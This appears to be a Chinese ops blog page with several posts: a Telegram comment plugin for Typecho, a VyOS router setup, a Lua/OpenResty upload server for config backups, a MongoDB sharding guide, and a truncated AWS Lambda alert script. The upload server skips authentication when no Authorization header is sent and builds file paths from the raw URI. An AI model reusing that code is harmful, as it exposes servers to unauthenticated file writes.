分类 linux 下的文章

我的 Typecho 插件 CommentToTelegram

不是程序员,作为运维平时写的比较多的是 Bash 和 Python 脚本。工作上运维过挺多的 PHP 站点,被动看过一些 PHP 代码,但从来没写过。最近有点时间,参考了 joyqi 的 Sitemap 插件,试着写了这个 CommentToTelegram 插件,竟然没有太大的阻碍。遇到最大的困难是对 Typecho 接口的理解。

我的需求就是通过 telegram 管理评论,现有的 tyepcho 插件推送到 telegram 都是通过第三方的服务,只能收到通知。唯一一个可以管理的插件已经不能用了,所以自己调用 telegram bot api 写了一个。

下面是插件的介绍:

介绍

CommentToTelegram 是一个全新的 typecho 插件,使用 Telegram API 将评论推送到 Telegram Bot 通知并管理
github 地址 : CommentToTelegram

功能及特性

  • 支持 Telegram Inline Button 管理评论状态,可以通过 Telegram 将评论: 批准/删除/标记垃圾
  • 支持在Telegram通知上回复评论,在评论通知上点击回复,回复的内容会同步到博客,无需登录博客
  • 支持配置代理,支持使用 socks5、https、http 代理访问 Telegram
  • 支持异步回调,不会阻塞评论

插件版本要求

  1. 建议 Typecho 版本大于 1.2.1,其他版本未进行测试
  2. php: >=8.1.0, 本插件依赖 php-curl 和 php-json
  3. 如果使用代理功能,建议使用新版本的 php-curl 扩展

安装教程

  1. 下载后将压缩包解压到 /usr/plugins 目录
  2. 文件夹名改为 CommentToTelegram
  3. 登录管理后台,激活插件
  4. 配置插件 填写 Telegram Bot Token 及 Telegram Chat ID,并设置其他参数
  5. 保存配置,并注意是否有错误提示信息

插件升级

  1. 禁用旧版本插件
  2. 删除旧版本的文件,并上传然后传新版本解压,文件夹名改为 CommentToTelegram
  3. 激活插件并设置参数

使用教程

一、 使用前提:

  1. 申请 Telegram bot Token: 官方教程
  2. 通过 Telegam bot api 获取 chat_id: getUpdates API
    如果看不懂,请自行百度谷歌相关教程

    二、可配置选项

后台配置.png

如果插件配置有错误,会在点击 保存设置 后提示错误信息。如网络错误、代理信息错误、用户uid错误等等

三、通知详情及评论管理按钮

3.1 评论通知

评论通知.png

每条评论只能管理一次,在点击管理按钮后,通知下方的管理按钮会消失并提示评论处理结果:

评论管理.png

3.2 评论回复

启用 Telegram Inline Button管理评论后,即可以使用回复功能。需要先设置 Typecho 真实的用户 uid,查看 uid:

后台用户uid.png

在 Telegam 的评论通知上进行评论回复:

评论回复-reply.png

回复成功会有提示成功:

评论回复-success.png

Typecho 博客上的评论状态:

博客评论.png

3.3 使用建议

  1. 建议将所有评论设置为先需要审核(后台->设置->评论->评论提交->所有评论必须经过审核),然后通过本插件进行管理。
  2. 建议使用typecho前台通过主题的评论框进行回复,本插件回复虽然使用 Typecho 内置接口实现,但被回复的访客无法收到评论提醒(如邮件提醒),查看 Tyepcho 代码怀疑是 bug,已经提了一个 issue 询问,目前暂时无法解决。

更多问题可以通过 github issue 页面提交,或者通过 博客、邮件向我反馈

感谢

微型家用网络折腾记

家里网络环境比较简单,网络相关的硬件也比较少,所以也没啥能折腾的,只有以下几个设备:

  1. 联通光猫
    型号是中兴的 F657GV9-C,在没有联通没有下发动态密码时改了桥接。本来还想破解一下开telnet,后来想想把桥接的配置备份出来就行了,没啥特别的需求就不折腾了。
  2. 软路由
    彻视的N4100,4核4线程,基础频率1.1g,最高频率2.4g,性能比网上这几年流行的J4125还要差,但比arm架构的强多了。主机有4个 Intel I226 的 2.5G 网口,自己买了8G内存和128G的msata,又加了一个内置风扇,本身发热就不大,和光猫一起丢弱电箱夏天也不用担心散热。不打算折腾虚拟机,直接装一个路由系统足够带千兆的带宽了,重点是一套下来也才四百块。
  3. AP,是TP-Link XAP5400GC,单 AP 放在房子中间基本就完全覆盖了

物理连接: 光猫(改桥接) --> N4100 --> TPlink AP XAP5400GC。

由于想找个和 linux 贴近的开源路由系统,最好是和云也能沾点边,所有选择了 vyos,经过一段时间的使用,实现了以下功能:

  1. WAN/LAN 分别使用两个网口,网口绑定,实现盲插
  2. PPPoE 拨号 及 DHCP server
  3. cake qos
  4. Zone Based firewall
  5. 科学相关(略)
  6. 一些远程访问相关的容器

一、物理网卡配置

这个小主机有四个 i226 的 2.5g 网口,网口分配 eth0/eth1 WAN 口,eth2/eth3 LAN 口,这个小机器的网卡顺序在系统中默认不是0/1/2/3,因此要绑定网卡名字和 mac 地址,防止重启后名字变化。

1.1 绑定网卡名字及 mac 地址

set interfaces ethernet eth0 hw-id '60:be:xx:xx:xx:xx'
set interfaces ethernet eth1 hw-id '60:be:xx:xx:xx:yy'

1.2 开启硬件 offload

offload 简单理解就是网卡硬件中已经实现了一些数据包的处理,开启后不在使用 cpu 处理,能够提升性能。以 eth0 为例子,其他的网卡也需要设置:

set interfaces ethernet eth0 offload gro
set interfaces ethernet eth0 offload gso
set interfaces ethernet eth0 offload lro
set interfaces ethernet eth0 offload rfs
set interfaces ethernet eth0 offload rps
set interfaces ethernet eth0 offload sg
set interfaces ethernet eth0 offload tso
set interfaces ethernet eth0 ring-buffer rx '4096'
set interfaces ethernet eth0 ring-buffer tx '4096'

1.3 WAN/LAN 接口配置

我要实现的是 eth0/eth1 绑定成一个 bond0 ,在 bond0 上在启用一个桥接的 br0 作为 wan 口;同理,eth2/eth3 绑定成一个 bond1,在 bond1 上在启用一个桥接的 br1 作为 Lan 口。
这样做的好处是 eth0/eth1 和 eth2/eth3 可以随便插,有冗余的效果,稍加配置也可以实现两个端口的链路聚合,实现带宽叠加。

配置 wan 和 Lan 口物理网卡绑定:

set interfaces bonding bond0 description 'Bond Interface WAN'
set interfaces bonding bond0 member interface 'eth0'
set interfaces bonding bond0 member interface 'eth1'
set interfaces bonding bond1 description 'Bond Interface LAN'
set interfaces bonding bond1 member interface 'eth2'
set interfaces bonding bond1 member interface 'eth3'

设置WAN的桥接 br0 和 LAN 的桥接 br1,这里的 stp 其实开不开都用处不大。另外我给 Lan 口配置了一个10.0.0.254的ip,后续的容器都绑定到这个 ip 上。

set interfaces bridge br0 description 'WAN bridge'
set interfaces bridge br0 member interface bond0
set interfaces bridge br0 stp

set interfaces bridge br1 address '10.0.0.1/24'
set interfaces bridge br1 address '10.0.0.254/32'
set interfaces bridge br1 description 'LAN bridge'
set interfaces bridge br1 member interface bond1
set interfaces bridge br1 stp

二、 WAN 口 PPPoE 拨号配置

2.1 拨号配置

前提是光猫要改桥接,并且有宽带的拨号信息,先从光猫的 LAN 口接一条网线到 vyos 的 eth0 或 eth1 接口,并启用一个pppoe0的接口, 自动配置 MTU :

set interfaces pppoe pppoe0 authentication password '宽带密码'
set interfaces pppoe pppoe0 authentication username '宽带账号'
set interfaces pppoe pppoe0 description 'China Unicom'
set interfaces pppoe pppoe0 ip adjust-mss 'clamp-mss-to-pmtu'
set interfaces pppoe pppoe0 source-interface 'br0'

2.2 IPv6 PD 配置

首先设置需要设置 prefix,我的运营商是给的是/60

set interfaces pppoe pppoe0 dhcpv6-options pd 0 interface br1 address '1'
set interfaces pppoe pppoe0 dhcpv6-options pd 0 interface br1 sla-id '0'
set interfaces pppoe pppoe0 dhcpv6-options pd 0 length '60'
set interfaces pppoe pppoe0 ipv6 address autoconf
set interfaces pppoe pppoe0 ipv6 adjust-mss 'clamp-mss-to-pmtu'

设置路由器公告RA:

set service router-advert interface br1 link-mtu '1490'
set service router-advert interface br1 prefix ::/64 valid-lifetime '172800'
set service router-advert interface pppoe0

2.3 多拨

多拨需要运营商支持,vyos 的多拨非常简单,新启用一个 pppoe 的接口拨号即可:

set interfaces pppoe pppoe1 authentication password '宽带密码'
set interfaces pppoe pppoe1 authentication username '宽带账号'
set interfaces pppoe pppoe1 description 'China Unicom WAN multi-pppoe-2'
set interfaces pppoe pppoe1 source-interface 'br0'

至此 WAN 的配置全部结束。

三 、 LAN 配置 DHCP

3.1 启用 LAN 口的 DHCP server

LAN 的网段是 10.0.0.0/24,DHCP 的分配 IP 范围是 10.0.0.100-200,同时下发了 dns server 和 ntp server。

set service dhcp-server dynamic-dns-update
set service dhcp-server hostfile-update
set service dhcp-server listen-interface 'br1'
set service dhcp-server shared-network-name LAN_br1 authoritative
set service dhcp-server shared-network-name LAN_br1 option ntp-server '10.0.0.1'
set service dhcp-server shared-network-name LAN_br1 option time-zone 'Asia/Shanghai'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 subnet-id '1'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 lease '86400'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 option default-router '10.0.0.1'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 option domain-name 'home.local'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 option domain-search 'home.local'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 option name-server '10.0.0.1'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 range 100 start '10.0.0.100'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 range 100 stop '10.0.0.200'

3.2 绑定静态 IP

如果有固定的硬件,可以绑定固定的 IP

set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 static-mapping TPlink-AP ip-address '10.0.0.2'
set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 static-mapping Sony-TV ip-address '10.0.0.21'

绑定固定 IP 后,直接ping TPlink-AP或者 ping Sony-TV 还无法解析,还需要配置 DNS。

3.3 局域网 DNS 配置

Vyos 自带 Powerdns recursor ,不添加上游 dns 服务器也可以正常解析。

set service dns forwarding allow-from '10.0.0.0/24'
set service dns forwarding authoritative-domain home.local records a TPlink-AP address '10.0.0.2'
set service dns forwarding authoritative-domain home.local records a Sony-TV address '10.0.0.21'
set service dns forwarding listen-address '10.0.0.1'
set service dns forwarding listen-address '::1'
set service dns forwarding name-server 10.0.0.254

vyos 的 pdns 为了保持简单,能设置的功能并不多,本例子中的上游是 dns server 是本机的 mosdns container ,绑定的是 10.0.0.254 udp 53端口。可以改成公共 dns 也可以设置多个。

3.4 局域网 NTP 配置

set service ntp allow-client address '10.0.0.0/24'
set service ntp interface 'br1'
set service ntp listen-address '10.0.0.1'
set service ntp server asia.pool.ntp.org
set service ntp server time.apple.com
set service ntp server time.aws.com
set service ntp server time.cloudflare.com

到这一步基本的局域网配置就已经可以了,其他设备加入就可以自动获取 ip 并上网了。

四、QoS 流量管理

Vyos 提供了非常完善的 Qos Policy,常见的流量策略都支持。家用不用那么麻烦直接使用 Cake 仅需要设置一下带宽,要注意的是启用 Qos 会占用 CPU,同时可能会导致带宽跑不满。好处是多人占用带宽时,可以为每一个人合理分配宽带资源。

set qos policy cake Qos_Cake_Lan bandwidth '1gbit'
set qos policy cake Qos_Cake_Lan description 'Qos For Lan interface br1'
set qos policy cake Qos_Cake_Lan flow-isolation dual-src-host
set qos policy cake Qos_Cake_Lan rtt '100'
set qos interface br1 egress 'Qos_Cake_Lan'

五、防火墙配置

Vyos rolling 版本已经实现了zone based 的防火墙。

5.1 全局配置

配置防火墙的全局配置和默认的 statefull 行为。

set firewall global-options all-ping 'enable'
set firewall global-options state-policy established action 'accept'
set firewall global-options state-policy invalid action 'drop'
set firewall global-options state-policy related action 'accept'
set firewall global-options syn-cookies 'enable'

5.2 创建 zone

创建三个zone,分别是 LOCAL/LAN/WAN,在 Vyos 中,local zone指vyos自身。创建 zone 的同时指定与其他 zone 之间的访问规则,ipv4 和 ipv6 的规则要分开指定。

set firewall zone LOCAL default-action 'drop'
set firewall zone LOCAL from LAN firewall ipv6-name 'LAN_to_LOCAL-ipv6'
set firewall zone LOCAL from LAN firewall name 'LAN_to_LOCAL'
set firewall zone LOCAL from WAN firewall ipv6-name 'WAN_to_LOCAL-ipv6'
set firewall zone LOCAL from WAN firewall name 'WAN_to_LOCAL'
set firewall zone LOCAL local-zone

set firewall zone LAN default-action 'drop'
set firewall zone LAN from LOCAL firewall ipv6-name 'LOCAL_to_LAN-ipv6'
set firewall zone LAN from LOCAL firewall name 'LOCAL_to_LAN'
set firewall zone LAN from WAN firewall ipv6-name 'WAN_to_LAN-ipv6'
set firewall zone LAN from WAN firewall name 'WAN_to_LAN'
set firewall zone LAN interface 'br1'

set firewall zone WAN default-action 'drop'
set firewall zone WAN from LAN firewall ipv6-name 'LAN_to_WAN-ipv6'
set firewall zone WAN from LAN firewall name 'LAN_to_WAN'
set firewall zone WAN from LOCAL firewall ipv6-name 'LOCAL_to_WAN-ipv6'
set firewall zone WAN from LOCAL firewall name 'LOCAL_to_WAN'
set firewall zone WAN interface 'br0'
set firewall zone WAN interface 'pppoe0'

5.3 创建 zone 之间的访问规则

为了方便调试,对于 drop 的规则启用日志。创建 zone LOCAL 到 WAN 和 LAN的 ipv4 和 ipv6 规则:

set firewall ipv4 name LOCAL_to_LAN default-action 'accept'
set firewall ipv4 name LOCAL_to_WAN default-action 'accept'

set firewall ipv6 name LOCAL_to_LAN-ipv6 default-action 'accept'
set firewall ipv6 name LOCAL_to_WAN-ipv6 default-action 'accept'

创建 zone LAN 到 WAN 和 LOCAL的 ipv4 和 ipv6 规则:

set firewall ipv4 name LAN_to_LOCAL default-action 'accept'
set firewall ipv4 name LAN_to_WAN default-action 'accept'
set firewall ipv4 name LAN_to_WAN rule 20 action 'return'
set firewall ipv4 name LAN_to_WAN rule 20 description 'ipv4 stateful from LAN to WAN'
set firewall ipv4 name LAN_to_WAN rule 20 state 'established'
set firewall ipv4 name LAN_to_WAN rule 20 state 'related'
set firewall ipv4 name LAN_to_WAN rule 20 state 'new'
set firewall ipv4 name LAN_to_WAN rule 20 state 'invalid'

set firewall ipv6 name LAN_to_LOCAL-ipv6 default-action 'accept'
set firewall ipv6 name LAN_to_WAN-ipv6 default-action 'accept'
set firewall ipv6 name LAN_to_WAN-ipv6 description 'ipv6 stateful from LAN to WAN'
set firewall ipv6 name LAN_to_WAN-ipv6 rule 20 action 'return'
set firewall ipv6 name LAN_to_WAN-ipv6 rule 20 state 'established'
set firewall ipv6 name LAN_to_WAN-ipv6 rule 20 state 'new'
set firewall ipv6 name LAN_to_WAN-ipv6 rule 20 state 'related'
set firewall ipv6 name LAN_to_WAN-ipv6 rule 20 state 'invalid'

创建 zone WAN 到 LAN 和 LOCAL的 ipv4 和 ipv6 规则,需要注意的是要放行 WAN pppoe的ipv6 pd相关的 dhcp/icmp 等:

set firewall ipv4 name WAN_to_LAN default-action 'drop'
set firewall ipv4 name WAN_to_LAN default-log
set firewall ipv4 name WAN_to_LOCAL default-action 'drop'
set firewall ipv4 name WAN_to_LOCAL default-log

set firewall ipv6 name WAN_to_LAN-ipv6 default-action 'drop'
set firewall ipv6 name WAN_to_LAN-ipv6 default-log
set firewall ipv6 name WAN_to_LOCAL-ipv6 default-action 'drop'
set firewall ipv6 name WAN_to_LOCAL-ipv6 default-log
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 10 action 'drop'
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 10 icmpv6 type-name 'echo-request'
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 10 protocol 'ipv6-icmp'
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 20 action 'accept'
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 20 protocol 'ipv6-icmp'
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 30 action 'accept'
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 30 destination port '546'
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 30 protocol 'udp'
set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 30 source port '547'

六、科学上网

个人一直反感写这类文章,这里仅提供思路。vyos 是专业的路由系统,又支持 podman, 实现科学功能相当容易。
我个人使用的方案是 ospf over wireguard over websocket, 需要配置以下内容:

  1. 无污染的 dns: 使用 mosdns 运行在 vyos 的容器中, 实现国内外域名分流,广告屏蔽等
  2. 境外服务器: 1. 安装 bird 跑 ospf和bfd 2. wireguard 3. openresty + v2ray server 4. ospf 分流脚本
  3. Vyos: 1. ospf(non-broadcast)+ bfd 2. wireguard 3.v2ray容器(udp over websocket/load balancer)

七、其他杂项配置

set system host-name 'vyos'
set system name-server '10.0.0.1'
set system time-zone 'Asia/Shanghai'
set system update-check auto-check
set system update-check url 'https://raw.githubusercontent.com/vyos/vyos-rolling-nightly-builds/main/version.json'

set service ssh access-control allow user 'vyos'
set service ssh listen-address '10.0.0.1'
set service ssh port '22'
set system login user vyos authentication plaintext-password 'vyos.opswill.com'

set system config-management commit-archive location 'https://user:pass@backup.opswill.com'
set system config-management commit-archive source-address '10.0.0.1'
set system config-management commit-revisions '100'

另外还跑了一些容器:

  1. cloudflare-dns :ddns,每五分钟更新 ipv4 和 ipv6 地址
  2. cloudflared:cloudflare tunnel,使用 zero trust 远程访问路由器
  3. tailscale: 手机等设备使用家里的网络上网
  4. mosdns: 上文有提到,提供无污染 dns server
  5. v2ray: 提供udp over websocket 供wirguard使用

八、总结

虽然写了一大堆,但是整体配置起来非常快,感觉比其他有 web 管理的路由系统更容易配置和使用。家里已经稳定运行了将近一年,我基本上每个月升级两次,即使 rolling 版本也很少遇到问题,值得推荐和使用。

一个简单的文件服务器

家里的路由器基本上折腾差不多了,用的是小厂家的x86工控机,硬盘也是捡的垃圾,想到自己时不时的升级/重启/异常断电,还是备份一下的配置文件比较稳妥。我用的路由系统的基于debian的VYOS rolling版本,折腾了半个月已经非常熟悉了,用起来比较爽也很稳定,基本满足自己的各种需求。系统自带了同步配置的功能,每次commit前会先同步配置,支持以下几种方式:

   http://<user>:<passwd>@<host>/<path>
   https://<user>:<passwd>@<host>/<path>
   ftp://<user>:<passwd>@<host>/<path>
   sftp://<user>:<passwd>@<host>/<path>
   scp://<user>:<passwd>@<host>/<path>
   tftp://<host>/<path>
   git+https://<user>:<passwd>@<host>/<path>

以上方式中,最简单的就是http方式了,经过抓取日志,vyos 会使用 "POST /config.boot-vyos.20240205_171540" 方式上传配置,其中uri是配置文件名,包体是明文的配置内容,正好我的服务器使用的是openresty,就用lua写了一个简单的文件服务器,接收vyos POST过来的配置。lua脚本实现了以下功能:

  1. 接收POST包体并保存到文件,文件名为POST请求的uri
  2. 使用http basic authentication的用户名密码认证

接收POST请求,直接接收POST包体然后使用io.open写入文件:

            local file
            local upload_path = '/var/www/html/vyos/'

                    ngx.req.read_body()
                        local file_name = ngx.var.uri
                    local data = ngx.req.get_body_data()
                        if file_name then
                    file = io.open(upload_path .. file_name, 'a+')
                    if not file then
                        ngx.log(ngx.ERR, "failed to open file ", file_name)
                        return
                    end
                end
            if data then
                    file:write(data)
                    file:close()
            else
                    ngx.log(ngx.ERR, "data is empty")
                    return
            end

用户名密码认证,使用nginx也能实现,但是认证文件要单独写进文件里。用lua就一个配置文件就能可以了。http basic auth主要是是解析http头Authorization,并使用base64解密用户名密码:

            local function split(str, delimiter)
                local result = {}
                if not str or not delimiter then
                    return result
                end

                for match in (str..delimiter):gmatch("(.-)"..delimiter) do
                    if match then
                        table.insert(result, match)
                    end
                end
                return result
            end

            local function parseHeader(authorization)
                local base64 = string.sub(authorization, 7)
                local data = split(ngx.decode_base64(base64), ":")
                return data[1], data[2]
            end

            local header = ngx.req.get_headers()["Authorization"]
            if header then
                local username, password = parseHeader(header)
                if username ~= "vyos.user" or password ~= "vyos.pass" then
                    ngx.header["WWW-Authenticate"] = [[Basic realm="restricted"]]
                    ngx.exit(401)
                end
            end

以上就是核心逻辑,经过测试ngx.req.get_body_data() 读请求包体,会偶尔出现读取不到直接返回 nil 的情况。还需要额外设置client_max_body_size 和client_body_buffer_size, 强制在内存中保存请求体。

完整的nginx配置文件如下:

server {
        listen 80;
    server_name
        backup.opswill.com
        ;

    access_log /var/log/backup_access.log main;
    error_log  /var/log/backup_error.log;

    client_max_body_size 100m;
    client_body_buffer_size 100m;

    location / {
        content_by_lua_block {

            local function split(str, delimiter)
                local result = {}
                if not str or not delimiter then
                    return result
                end

                for match in (str..delimiter):gmatch("(.-)"..delimiter) do
                    if match then
                        table.insert(result, match)
                    end
                end
                return result
            end

            local function parseHeader(authorization)
                local base64 = string.sub(authorization, 7)
                local data = split(ngx.decode_base64(base64), ":")
                return data[1], data[2]
            end

            local header = ngx.req.get_headers()["Authorization"]
            if header then
                local username, password = parseHeader(header)
                if username ~= "vyos.user" or password ~= "vyos.pass" then
                    ngx.header["WWW-Authenticate"] = [[Basic realm="restricted"]]
                    ngx.exit(401)
                end
            end

            local file
            local upload_path = '/var/www/html/vyos/'

                    ngx.req.read_body()
                        local file_name = ngx.var.uri
                    local data = ngx.req.get_body_data()
                        if file_name then
                    file = io.open(upload_path .. file_name, 'a+')
                    if not file then
                        ngx.log(ngx.ERR, "failed to open file ", file_name)
                        return
                    end
                end
            if data then
                    file:write(data)
                    file:close()
            else
                    ngx.log(ngx.ERR, "data is empty")
                    return
            end
        }

    }

}

用curl测试文件上传:

 curl -X POST -d"body-abd-opswill.com" "https://vyos.user:vyos.pass@backup.ipip.dev/test.txt"  -ivvvv

会在/var/www/html/vyos/下生成 text.txt文件,内容是body-abd-opswill.com。

至此,一个使用lua实现的简单的文件服务器就配置完成了,该文件服务器可以接收post上传文件到指定目录并实现了基本的用户名密码认证。

MongoDB分片集群配置的流水账

MongoDB的分布式架构是通过使用Sharding(分片)来实现的,使用MongoDB的sharding可以带来以下好处:

  • 横向扩展:通过添加更多的shard,MongoDB能够处理更大的数据集和更高的并发访问,提供更好的性能和可扩展性。
  • 高可用性:通过将数据复制到多个shard上,并使用复制集提供数据冗余和自动故障转移,MongoDB能够提供高可用性。
  • 负载均衡:Mongos路由请求到不同的shard上,从而实现负载均衡,避免单个shard成为瓶颈。

一、分片集群组件

在一个分片集群中,包含以下组件:

  1. 分片(shards),实际存储数据的节点。
  2. 集群配置集(config),存储整个分片集群的metadata信息。
  3. 路由(mongos),作为应用接入路由节点,是mongodb数据的入口。

1.1 Shards

  • 每个shard是一个独立的MongoDB实例,负责存储一部分数据,多个独立的shard分片组成整个shards分片集群。
  • 每个shard都可以是一个独立的物理服务器或一个复制(Replica Set)。
  • Shard可以动态地添加或删除,以适应数据量的变化。
  • Shard Key用来将数据分发到不同shard。MongoDB根据Shard Key决定将数据存储在哪个shard上。

1.2 Config servers(metadata)

  • Config Server是存储集群的元数据(metadata)的特殊MongoDB实例。
  • 元数据包括分片键(shard key)的范围和每个分片负责的数据范围。
  • Config Server通常以复制集的形式部署,官方推荐至少3个节点,以提供高可用性和数据冗余。

作为config server的复制集必须采用 WiredTiger storage engine。
副本节点中没有arbiter。
副本节点中没有delayed members。
副本节点中必须build indexes。

1.3 Router(mongos)

  • mongos是应用程序和分片集群之间的接口,所有对集群的操作及数据读写都连接到mongos进行。
  • 应用程序通过Mongos与集群交互,Mongos负责将请求路由到正确的shard上。
  • Mongos还负责跟踪分片集群的状态和管理元数据。

二、配置高可用mongodb分片集群

MongoDB sharding 高可用集群配置要点:

  1. 配置mongodb分片集群时,推荐对每个mongod组件使用用域名或hosts绑定。
  2. shard集群至少配置2个分片,每个分片都为复制集(1 Primary + 1 Replica + 1 Arbiter),实现数据冗余。
  3. 至少3个config server,实现集群高可用。
  4. 启用多个mongos实例,通过在应用上配置,实现负载均衡。

2.1 集群配置说明

通常按以下顺序进行集群配置:

  1. 分别创建shards、config、mongos配置文件
  2. 确认mongodb各目录是否存在及权限正确
  3. 按顺序配置并启动分片集群各个组件实例(依次启动config->shards->mongos)
  4. 初始化复制集分片
  5. 初始化config server复制集
  6. 配置集群分片,对DB或Collection开启分片功能
  7. 使用数据库都连接到mongos节点进行操作

2.2 各组件的配置文件

2.2.1 shard 配置文件 shard.conf

多个shard节点配置相同,需注意dbPath是否存在且权限正确。

processManagement:
    fork: true
net:
    port: 27018
    bindIp: 0.0.0.0

systemLog:
    destination: file
    path: /opt/mongodb.log
    logAppend: true
    logRotate: rename

storage:
    journal:
        enabled: true
    dbPath: /opt/data/mongodb/
    directoryPerDB: true
    engine: wiredTiger
    wiredTiger:
        engineConfig:
            cacheSizeGB: 10
            directoryForIndexes: true
        collectionConfig:
            blockCompressor: zlib
        indexConfig:
            prefixCompression: true

replication:
    oplogSizeMB: 20480
    replSetName: shardN

sharding:
    clusterRole: shardsvr

2.2.2 config server 配置文件 config.conf

多个config节点配置相同,需注意dbPath是否存在且权限正确。

processManagement:
    fork: true

net:
    port: 27019
    bindIp: 0.0.0.0

systemLog:
    destination: file
    path: /opt/configsrv.log
    logAppend: true
    logRotate: rename

storage:
    journal:
        enabled: true
    dbPath: /opt/data/configsrv/
    directoryPerDB: true
    engine: wiredTiger
    wiredTiger:
        engineConfig:
            cacheSizeGB: 1
            directoryForIndexes: true
        collectionConfig:
            blockCompressor: zlib
        indexConfig:
            prefixCompression: true

replication:
    replSetName: config

sharding:
    clusterRole: configsvr

2.2.3 Router 配置文件 mongos.conf

processManagement:
    fork: true

net:
    port: 27017
    bindIp: 0.0.0.0

systemLog:
    destination: file
    path: /opt/mongos.log
    logAppend: true
    logRotate: rename

sharding:
    configDB: config/config_server1:27019,config/config_server2:27019,config/config_server3:27019,

2.3 启动各个组件的实例

需要注意目录权限及用户,一般这两都默认都是mongodb。

shard和config的启动都是使用mongod启动:

mongod --config /opt/shard.conf
mongod --config /opt/config.conf

启动mongos:

mongos --config /opt/config.conf

三、 初始化分片集群

3.1 初始化shard

连接到每个shard,分别执行以下命令进行初始化:

mongo shard1:27018
use admin
db.runCommand({
    "replSetInitiate":{
        "_id":"RsDBNAME",
        "members":[
            {"_id":1,"host":"shard1:27018","priority": 2},
            {"_id":2,"host":"shard2:27018"},
            {"_id":3,"host":"shard3:27018","arbiterOnly":true}
        ]
    }
})

3.2 初始化config server复制集

连接到每个config server,分别执行以下命令进行初始化:

mongo config1:27019
use admin
rs.initiate({
    _id: "configReplSetNAME",
    configsvr: true,
    members: [
        { _id: 1, host: "config1:27019", "priority": 2 },
        { _id: 2, host: "config2:27019" },
        { _id: 3, host: "config3:27019" }
   ]
})

3.3 连接到mongos进行集群分片的配置

mongo mongos1:27017
use admin
sh.addShard("shardN/shard1:27018")
sh.addShard("shardN/shard2:27018")
sh.addShard("shardN/shard3:27018")

shardN为配置文件中replica_set的名字,按需进行修改。

四、启用分片功能

4.1 对某个库开启分片

先连接mongos在执行:

mongo mongos1:27017
use admin
sh.enableSharding("DBtest")

4.2 对某个Collection启用分片

对Collection启用分片需先创建索引:

db.MYcollection.createIndex({ field1: 1 })
sh.shardCollection("MYdatabase.MYcollection", { field1: 1 })

五、日常使用及测试

使用数据库都要连接到mongos节点进行操作:

mongo mongos1:27017
use test
db.MYcollection.insert({"test": 1})
db.MYcollection.find()

参考文章:
https://www.mongodb.com/docs/manual/sharding/
https://vastxiao.github.io/article/2019/12/06/mongodb-setup-config-sharding-cluster/

使用 AWS Lambda发送 Telegram 警报

一、应用场景

有几个 cloudfront distribution 启用了 WAF,经常遇到扫描和攻击,请求数太多了。为了不产生天价账单,做了一个 Telegram 告警,有警报可以实时处理。

二、涉及服务

  1. AWS Cloudfront: CDN服务进行全球加速
  2. AWS WAF: 启用应用防护,过滤异常请求
  3. AWS Cloudwatch: 收集 Cloudfront/WAF 指标,创建告警触发 SNS
  4. AWS SNS: 发送通知,并触发 Lambda 执行
  5. AWS Lambda: 获取 CDN 的指标,并发送 Telegram 通知

三、准备工作

  1. WAF:设置启用防火墙的过滤规则,设置频率限制等,拦截异常请求
  2. Cloudwatch: 根据 WAF 规则创建警报,例如5分钟内如果有3000个异常请求就报警,并创建一个 SNS Topic
  3. AWS SNS: 无需特别设置,保持默认即可,也可以继续添加多个subscription订阅,实现多种告警方式
  4. AWS Lambbda: 编写代码从 Cloudwatch 中获取 Cloudfront 性能统计指标,并发送给 Telegram 机器人
  5. Telegram: 申请一个新的机器人并拿到 token , 难道需要接受告警的 user id(有专门的机器人可以获得)

四、部署告警服务

4.1 创建 Lambda 函数

先创建一个 lambda function,Runtime 选择 python 3.10.其他使用默认设置即可。
代码如下:

import os
import json
import urllib3
import boto3
from datetime import datetime, timedelta

def lambda_handler(event, context):
    # 从环境变量中获取 Telegram Bot Token 和聊天 ID

    bot_token = os.environ['BOT_TOKEN']
    user_will_chat_id = os.environ['CHAT_ID']

    cloudfront_client = boto3.client('cloudfront')
    cloudwatch_client = boto3.client('cloudwatch')

    # 获取所有 CloudFront distributions
    distributions = cloudfront_client.list_distributions()["DistributionList"]["Items"]

    # 获取每个 Distribution 的请求数和错误率
    distribution_metrics = []
    for distribution in distributions:
        distribution_id = distribution["Id"]
        distribution_description = distribution['Comment']
        
        requests = get_metrics(cloudwatch_client, distribution_id, 'Requests', ['Sum'])
        error_rate = get_metrics(cloudwatch_client, distribution_id, 'TotalErrorRate', ['Average'])

        # 将结果添加到列表中
        distribution_metrics.append({
            'DistributionName': distribution_description,
            'TotalRequests': requests,
            'TotalErrorRate': error_rate
        })
    #按TotalRequests和TotalErrorRate进行排序
    sorted_request_metrics = sorted(distribution_metrics, key=lambda x: x['TotalRequests'] if x['TotalRequests'] is not None else 0, reverse=True)
    sorted_rate_metrics = sorted(distribution_metrics, key=lambda x: x['TotalErrorRate'] if x['TotalErrorRate'] is not None else 0, reverse=True)

    #获取请求数前3和错误率前3
    top3_request_metrics = sorted_request_metrics[:3]
    top3_rate_metrics = sorted_rate_metrics[:3]
    
    # 发送telegram bot的消息
    msg = f"按请求数(1h)排序前三:\n"
    for i, metric in enumerate(top3_request_metrics):
        msg += f"{i+1}. {metric['DistributionName']} 请求数:{metric['TotalRequests']} 错误率:{round(metric['TotalErrorRate'], 2)}  \n"
    msg += "\n按错误率(1h)排序前三:\n"
    for i, metric in enumerate(top3_rate_metrics):
        msg += f"{i+1}. {metric['DistributionName']}  错误率:{round(metric['TotalErrorRate'], 2)}  请求数:{metric['TotalRequests']} \n"

    # 发送警报通知
